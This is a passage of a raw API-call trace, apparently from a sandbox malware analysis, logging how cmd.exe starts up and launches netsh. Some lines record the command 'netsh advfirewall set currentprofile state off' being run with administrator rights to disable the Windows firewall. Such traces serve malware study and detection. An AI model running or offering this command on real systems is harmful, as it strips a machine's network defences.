(_String1="netsh", _String2="KEYS") returned 3 [0080.237] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0080.237] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0080.237] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0080.237] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0080.237] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0080.237] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0080.237] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0080.237] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0080.237] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0080.237] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0080.237] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0080.238] GetProcessHeap () returned 0x480000 [0080.238] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x218) returned 0x481ab0 [0080.238] GetProcessHeap () returned 0x480000 [0080.238] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x70) returned 0x481cd0 [0080.238] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0080.238] GetProcessHeap () returned 0x480000 [0080.238] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x420) returned 0x499a80 [0080.238] SetErrorMode (uMode=0x0) returned 0x0 [0080.238] SetErrorMode (uMode=0x1) returned 0x0 [0080.239] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x499a90, lpFilePart=0x30ef60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30ef60*="Desktop") returned 0x25 [0080.239] SetErrorMode (uMode=0x0) returned 0x1 [0080.239] GetProcessHeap () returned 0x480000 [0080.239] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x499a80, Size=0x68) returned 0x499a80 [0080.239] GetProcessHeap () returned 0x480000 [0080.239] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x499a80) returned 0x68 [0080.239] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0080.239] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0080.239] GetProcessHeap () returned 0x480000 [0080.239] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x128) returned 0x495b70 [0080.239] GetProcessHeap () returned 0x480000 [0080.239] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x240) returned 0x499b00 [0080.246] GetProcessHeap () returned 0x480000 [0080.246] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x499b00, Size=0x12a) returned 0x499b00 [0080.246] GetProcessHeap () returned 0x480000 [0080.246] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x499b00) returned 0x12a [0080.246] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0080.246] GetProcessHeap () returned 0x480000 [0080.246] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xe8) returned 0x499c40 [0080.246] GetProcessHeap () returned 0x480000 [0080.246] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x499c40, Size=0x7e) returned 0x499c40 [0080.246] GetProcessHeap () returned 0x480000 [0080.246] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x499c40) returned 0x7e [0080.907] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.907] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x30ecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ecd0) returned 0xffffffffffffffff [0080.907] GetLastError () returned 0x2 [0080.907] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\netsh", fInfoLevelId=0x1, lpFindFileData=0x30ecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ecd0) returned 0xffffffffffffffff [0080.908] GetLastError () returned 0x2 [0080.908] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.908] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x30ecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ecd0) returned 0x481d50 [0080.951] GetProcessHeap () returned 0x480000 [0080.951] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x0, Size=0x28) returned 0x494640 [0080.951] FindClose (in: hFindFile=0x481d50 | out: hFindFile=0x481d50) returned 1 [0080.951] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x30ecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ecd0) returned 0xffffffffffffffff [0080.951] GetLastError () returned 0x2 [0080.951] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x30ecd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ecd0) returned 0x481d50 [0080.951] GetProcessHeap () returned 0x480000 [0080.951] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x494640, Size=0x8) returned 0x498900 [0080.951] FindClose (in: hFindFile=0x481d50 | out: hFindFile=0x481d50) returned 1 [0080.952] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0080.952] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0080.952] GetConsoleTitleW (in: lpConsoleTitle=0x30f220, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0080.952] GetProcessHeap () returned 0x480000 [0080.952] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x21c) returned 0x499cd0 [0080.952] GetConsoleTitleW (in: lpConsoleTitle=0x499ce0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0080.952] GetProcessHeap () returned 0x480000 [0080.952] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x499cd0, Size=0xd6) returned 0x499cd0 [0080.952] GetProcessHeap () returned 0x480000 [0080.952] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x499cd0) returned 0xd6 [0080.952] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0080.953] GetProcessHeap () returned 0x480000 [0080.953] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x499cd0 | out: hHeap=0x480000) returned 1 [0080.953] InitializeProcThreadAttributeList (in: lpAttributeList=0x30efd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x30ef98 | out: lpAttributeList=0x30efd8, lpSize=0x30ef98) returned 1 [0080.953] UpdateProcThreadAttribute (in: lpAttributeList=0x30efd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x30ef88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x30efd8, lpPreviousValue=0x0) returned 1 [0080.953] GetStartupInfoW (in: lpStartupInfo=0x30f0f0 | out: lpStartupInfo=0x30f0f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x108, hStdOutput=0x114, hStdError=0x114)) [0080.954] GetProcessHeap () returned 0x480000 [0080.954] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x20) returned 0x494640 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.954] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0080.955] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0080.955] GetProcessHeap () returned 0x480000 [0080.955] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x494640 | out: hHeap=0x480000) returned 1 [0080.955] GetProcessHeap () returned 0x480000 [0080.955] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x12) returned 0x495ca0 [0080.955] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x30f010*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x30efc0 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0x30efc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x8f4, dwThreadId=0x904)) returned 1 [0081.109] CloseHandle (hObject=0x50) returned 1 [0081.109] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0081.109] GetProcessHeap () returned 0x480000 [0081.109] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x49c230 | out: hHeap=0x480000) returned 1 [0081.109] GetEnvironmentStringsW () returned 0x49aa10* [0081.109] GetProcessHeap () returned 0x480000 [0081.110] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xae8) returned 0x49b500 [0081.110] FreeEnvironmentStringsW (penv=0x49aa10) returned 1 [0081.110] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0081.110] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0081.110] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x30e8c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x30e8c8, ReturnLength=0x0) returned 0x0 [0081.110] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x30e900, nSize=0x380, lpNumberOfBytesRead=0x30e8c0 | out: lpBuffer=0x30e900*, lpNumberOfBytesRead=0x30e8c0*=0x380) returned 1 [0081.111] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x573aa000" os_pid = "0x83c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa8c" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0x84c [0079.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f950 | out: lpSystemTimeAsFileTime=0x26f950*(dwLowDateTime=0x984d540, dwHighDateTime=0x1d60ce6)) [0079.546] GetCurrentProcessId () returned 0x83c [0079.546] GetCurrentThreadId () returned 0x84c [0079.546] GetTickCount () returned 0x114c68a [0079.547] QueryPerformanceCounter (in: lpPerformanceCount=0x26f958 | out: lpPerformanceCount=0x26f958*=19469365284) returned 1 [0079.548] GetModuleHandleW (lpModuleName=0x0) returned 0x4a560000 [0079.548] __set_app_type (_Type=0x1) [0079.548] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a587810) returned 0x0 [0079.548] __getmainargs (in: _Argc=0x4a5aa608, _Argv=0x4a5aa618, _Env=0x4a5aa610, _DoWildCard=0, _StartInfo=0x4a58e0f4 | out: _Argc=0x4a5aa608, _Argv=0x4a5aa618, _Env=0x4a5aa610) returned 0 [0079.549] GetCurrentThreadId () returned 0x84c [0079.549] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x84c) returned 0x3c [0079.674] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0079.674] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0079.674] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.674] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.674] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x26f8e8 | out: phkResult=0x26f8e8*=0x0) returned 0x2 [0079.674] VirtualQuery (in: lpAddress=0x26f8d0, lpBuffer=0x26f850, dwLength=0x30 | out: lpBuffer=0x26f850*(BaseAddress=0x26f000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.674] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x26f850, dwLength=0x30 | out: lpBuffer=0x26f850*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.674] VirtualQuery (in: lpAddress=0x171000, lpBuffer=0x26f850, dwLength=0x30 | out: lpBuffer=0x26f850*(BaseAddress=0x171000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.674] VirtualQuery (in: lpAddress=0x174000, lpBuffer=0x26f850, dwLength=0x30 | out: lpBuffer=0x26f850*(BaseAddress=0x174000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0079.674] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x26f850, dwLength=0x30 | out: lpBuffer=0x26f850*(BaseAddress=0x270000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x80000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0079.674] GetConsoleOutputCP () returned 0x1b5 [0079.675] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a59bfe0 | out: lpCPInfo=0x4a59bfe0) returned 1 [0079.675] SetConsoleCtrlHandler (HandlerRoutine=0x4a583184, Add=1) returned 1 [0079.675] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.675] SetConsoleMode (hConsoleHandle=0x104, dwMode=0x0) returned 0 [0079.675] _get_osfhandle (_FileHandle=1) returned 0x104 [0079.675] GetConsoleMode (in: hConsoleHandle=0x104, lpMode=0x4a58e194 | out: lpMode=0x4a58e194) returned 0 [0079.675] _get_osfhandle (_FileHandle=0) returned 0xf8 [0079.675] GetConsoleMode (in: hConsoleHandle=0xf8, lpMode=0x4a58e198 | out: lpMode=0x4a58e198) returned 0 [0079.675] GetEnvironmentStringsW () returned 0x308a60* [0079.676] GetProcessHeap () returned 0x2f0000 [0079.676] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa7c) returned 0x3094f0 [0079.676] FreeEnvironmentStringsW (penv=0x308a60) returned 1 [0079.676] GetProcessHeap () returned 0x2f0000 [0079.676] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x8) returned 0x3088e0 [0079.676] GetEnvironmentStringsW () returned 0x308a60* [0079.676] GetProcessHeap () returned 0x2f0000 [0079.676] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa7c) returned 0x309f80 [0079.676] FreeEnvironmentStringsW (penv=0x308a60) returned 1 [0079.676] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26e7a8 | out: phkResult=0x26e7a8*=0x44) returned 0x0 [0079.676] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x0, lpData=0x26e7c0*=0x18, lpcbData=0x26e7a4*=0x1000) returned 0x2 [0079.676] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x4, lpData=0x26e7c0*=0x1, lpcbData=0x26e7a4*=0x4) returned 0x0 [0079.676] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x0, lpData=0x26e7c0*=0x1, lpcbData=0x26e7a4*=0x1000) returned 0x2 [0079.676] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x4, lpData=0x26e7c0*=0x0, lpcbData=0x26e7a4*=0x4) returned 0x0 [0079.677] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x4, lpData=0x26e7c0*=0x40, lpcbData=0x26e7a4*=0x4) returned 0x0 [0079.677] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x4, lpData=0x26e7c0*=0x40, lpcbData=0x26e7a4*=0x4) returned 0x0 [0079.677] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x0, lpData=0x26e7c0*=0x40, lpcbData=0x26e7a4*=0x1000) returned 0x2 [0079.677] RegCloseKey (hKey=0x44) returned 0x0 [0079.677] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26e7a8 | out: phkResult=0x26e7a8*=0x44) returned 0x0 [0079.677] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x0, lpData=0x26e7c0*=0x40, lpcbData=0x26e7a4*=0x1000) returned 0x2 [0079.677] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x4, lpData=0x26e7c0*=0x1, lpcbData=0x26e7a4*=0x4) returned 0x0 [0079.677] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x0, lpData=0x26e7c0*=0x1, lpcbData=0x26e7a4*=0x1000) returned 0x2 [0079.677] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x4, lpData=0x26e7c0*=0x0, lpcbData=0x26e7a4*=0x4) returned 0x0 [0079.677] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x4, lpData=0x26e7c0*=0x9, lpcbData=0x26e7a4*=0x4) returned 0x0 [0079.677] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x4, lpData=0x26e7c0*=0x9, lpcbData=0x26e7a4*=0x4) returned 0x0 [0079.677] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26e7a0, lpData=0x26e7c0, lpcbData=0x26e7a4*=0x1000 | out: lpType=0x26e7a0*=0x0, lpData=0x26e7c0*=0x9, lpcbData=0x26e7a4*=0x1000) returned 0x2 [0079.677] RegCloseKey (hKey=0x44) returned 0x0 [0079.677] time (in: timer=0x0 | out: timer=0x0) returned 0x5e8c8967 [0079.677] srand (_Seed=0x5e8c8967) [0079.677] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0079.677] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0079.677] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a59c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.678] GetProcessHeap () returned 0x2f0000 [0079.678] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x30aa10 [0079.678] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0079.678] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.678] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.678] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0079.678] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0079.678] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0079.678] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0079.678] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0079.678] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0079.678] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0079.678] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0079.678] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0079.678] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0079.678] GetProcessHeap () returned 0x2f0000 [0079.678] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3094f0 | out: hHeap=0x2f0000) returned 1 [0079.678] GetEnvironmentStringsW () returned 0x308a60* [0079.678] GetProcessHeap () returned 0x2f0000 [0079.678] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa94) returned 0x30ac30 [0079.679] FreeEnvironmentStringsW (penv=0x308a60) returned 1 [0079.679] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0079.679] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0079.679] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0079.679] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0079.679] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0079.679] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0079.679] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0079.679] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0079.679] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0079.679] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") 